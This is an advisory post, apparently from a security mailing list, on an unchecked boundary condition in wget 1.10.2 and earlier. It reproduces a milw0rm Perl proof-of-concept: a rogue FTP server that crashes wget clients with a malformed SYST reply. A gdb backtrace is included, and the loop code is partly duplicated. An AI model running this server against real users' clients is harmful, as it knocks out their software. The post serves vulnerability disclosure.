[EXPL] wget SYST Unchecked Boundary Condition



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wget SYST Unchecked Boundary Condition
------------------------------------------------------------------------


SUMMARY

A vulnerability in wget's SYST implementation allows a remote attacker to
cause wget to crash by supplying it with a malformed response to its SYST
request.

DETAILS

Exploit:
#!/usr/bin/perl
###############################################
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
###############################################

use strict;
use IO::Socket;


#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0 0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1 0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at
ftp-basic.c:1042
#2 0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0,
con=0xbfe3d840) at ftp.c:367
#3 0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840)
at ftp.c:1197
#4 0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840,
f=0xbfe3d7a8) at ftp.c:1341
#5 0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840,
action=2) at ftp.c:1705
#6 0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at
ftp.c:1875
#7 0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost";,
file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at
retr.c:678
#8 0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)

my $PORT=21;
$SIG{CHLD} = 'IGNORE';


my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto
=> 'tcp',Reuse => 1);
die "Cant't bind port: $@" unless $listen;

print "wget PoC\nWainting conections\n";

while (my $connection = $listen->accept){
my $child;

while (my $connection = $listen->accept){
my $child;
die "Can't fork: $!" unless defined ($child = fork());
if ($child == 0){
$listen->close;
while() {
print $connection "220 \n";
}
exit 0;
}
else {
print "Connecton recieved ... ",$connection->peerhost,"\n";
$connection->close();
}
} #while

} #while

# milw0rm.com [2006-12-18]


ADDITIONAL INFORMATION

The information has been provided by <mailto:fbossi@xxxxxxxxxxxxxxx>
Federico L. Bossi Bonin.
The original article can be found at:
<http://www.milw0rm.com/exploits/2947>
http://www.milw0rm.com/exploits/2947



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